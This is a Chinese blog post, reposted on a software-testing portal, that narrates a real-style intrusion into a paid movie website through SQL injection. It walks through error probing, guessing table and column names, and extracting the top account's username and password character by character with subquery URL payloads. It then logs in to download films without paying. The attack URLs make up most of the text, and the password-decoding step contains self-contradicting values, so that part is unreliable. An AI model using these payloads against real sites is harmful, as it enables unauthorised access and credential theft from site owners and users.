• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
    • 軟件測試技術
    • 軟件測試博客
    • 軟件測試視頻
    • 開源軟件測試技術
    • 軟件測試論壇
    • 軟件測試沙龍
    • 軟件測試資料下載
    • 軟件測試雜志
    • 軟件測試人才招聘
      暫時沒有公告

    字號: | 推薦給好友 上一篇 | 下一篇

    [NB聯盟原創]SQL注入網站入侵實例

    發布: 2007-6-30 18:56 | 作者: admin | 來源: | 查看: 36次 | 進入軟件測試論壇討論

    領測軟件測試網 這幾天閑得無聊,想上網Down幾部電影來看,找了找都是要Money的,不爽,花時間跑去匯錢還不如找個有漏洞的黑一黑。于是,計劃開始:
    (為避免不必要的誤會,網址、用戶名、密碼做了一些修改,不過方法是100%原汁原味)

    1.尋找入口
    準備:如果你以前沒嘗試過SQL注入攻擊,那應該把HTTP友好提示關閉,這樣才能讓你清楚看到服務器端返回的提示信息。
    嘗試幾個有傳入參數的頁面,逐個測試是否有SQL注入漏洞,識別方法為:把網址欄的ID=***x加個‘’號,或在表單輸入‘’號,如果提示表達式錯誤,表示有漏洞可注入,另外,通過這個方式可以得到程序所用的數據庫類型。
    經測試,發現有幾個頁面有注入漏洞,決定從http://www.movie.com/movie.asp?ID=1000入手,輸入http://www.movie.com/movie.asp?ID=1000‘’,得到信息:數據庫用是的ACCESS,提示ArticleID=1000‘’附近有表達式錯誤,嘿,原來是個用文章系統改出來的電影站。

    2.觀察網站環境
    網站提供的功能有:影片分類、影片介紹、影片搜索,影片的ID大概從1000-1500之間。

    3.猜表名
    查清楚敵人情況之后,開始行動,行動的第一步都是從猜表名開始,http://www.movie.com/movie.asp?ID=1000,把1000改成(select count(1) from user),那么,他原來的SQL語句將會變成:
    Select [字段列表] from [影片表] where 影片ID=(select count(1) from user)
    如果猜對表名,將有可能出現下面三種情況:
    A.顯示某部影片的信息(巧合的情況)
    B.顯示影片找不到(如果有判斷是否為EOF)
    C.提示錯誤信息(EOF OR BOF)
    如果猜錯,將會直接提示找不到表名。
    把user,users,member,members,userlist,memberlist,userinfo,admin,manager,用戶,yonghu這些常用表名一個個放進去試,一般成功率都不低于80%
    結果,成功猜中該網站的用戶名表名為users

    4.猜列名
    至于猜列名,不用我介紹大家都應該清楚怎么做了,把(select count(1) from users)改成(select count(id) from users),如沒提示"找不到字段"就表示字段名是正確的,字段一般不用太費力,在Login的時候看看表單的名稱就大概可以猜到一些了。
    果然,這個網站也不例外,用戶表中字段為ID(數字),UserID(文本),Password(文本),積分字段猜得比較費勁,為money

    5.鎖定目標
    讓users表只返回money最多的一個記錄,以便進行猜解、并避免猜中一些沒money的用戶名:
    http://www.movie.com/movie.asp?ID=(select 1000 from user where money>1000) 結果:提示子查詢不能返回兩條以上記錄
    鎖定>10000,提示不變;
    鎖定>100000,提示找不到記錄,說明沒有積分大于10萬的用戶;
    從1萬到10萬逐步縮小范圍,得知積分大于25500只有一條記錄。

    6.計算用戶名及密碼長度
    因為影片的ID大概從1000-1500之間,可以用UserID的長度+1000得出的數(即影片ID)計算用戶名長度,鍵入:
    http://www.movie.com/movie.asp?ID=(select len(UserID) %2B 1000 from user where money>25500)

    %2B是什么?因為地址欄的+號request出來會變成空格,所以+號要用UrlEncode過的%2B表示。

    結果返回片名為《雙雄》的影片,呵呵,怎么辦?不是有搜索功能嗎?拿去搜一下,看看影片ID是多少吧。
    搜索,得出影片ID是1006,顯然,用戶名長度為1006-1000=6;同樣方法,得出密碼的長度為8

    7.分步破解用戶名
    有點SQL應用經驗的人應該都想到方法了,來,敲入:
    http://www.movie.com/movie.asp?ID=(select asc(mid(UserID,1,1)) %2B 1000 from user where money>25500)
    呵呵,又返回一部影片,搜索一下,影片ID為1104,即asc(mid(UserID,1,1))=104
    同樣方法,得出:
    asc(mid(UserID,2,1))=117
    asc(mid(UserID,3,1))=97
    asc(mid(UserID,4,1))=106
    asc(mid(UserID,5,1))=105
    asc(mid(UserID,6,1))=101
    因為len(UserID)=6,所以算到第6位就行了,查asc對應表(會編程的可以寫幾句話算出來),chr(104)=h,chr(117)=u,chr(97)=a,chr(106)=j,chr(105)=i,chr(101)=e
    連起來,用戶名就是huajie

    8.同樣的方法破解密碼
    asc(mid(Password,1,1))=49 => chr(49)=1
    asc(mid(Password,2,1))=57 => chr(49)=9
    asc(mid(Password,3,1))=55 => chr(49)=7
    asc(mid(Password,4,1))=56 => chr(49)=8
    asc(mid(Password,5,1))=48 => chr(49)=0
    asc(mid(Password,6,1))=55 => chr(49)=7
    asc(mid(Password,7,1))=55 => chr(49)=1
    asc(mid(Password,8,1))=55 => chr(49)=2
    拼起來:19780712,哈哈,又是用生日做密碼的!


    接下來,輸入用戶名和密碼,登錄系統,成功!猜表名列表之前用了30分鐘,破解用了15分鐘,45分鐘搞掂了一個站。接下來做什么?當然是先Down幾G的電影下來再說了。

    延伸閱讀

    文章來源于領測軟件測試網 http://www.kjueaiud.com/


    關于領測軟件測試網 | 領測軟件測試網合作伙伴 | 廣告服務 | 投稿指南 | 聯系我們 | 網站地圖 | 友情鏈接
    版權所有(C) 2003-2010 TestAge(領測軟件測試網)|領測國際科技(北京)有限公司|軟件測試工程師培訓網 All Rights Reserved
    北京市海淀區中關村南大街9號北京理工科技大廈1402室 京ICP備10010545號-5
    技術支持和業務聯系:info@testage.com.cn 電話:010-51297073

    軟件測試 | 領測國際ISTQBISTQB官網TMMiTMMi認證國際軟件測試工程師認證領測軟件測試網

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>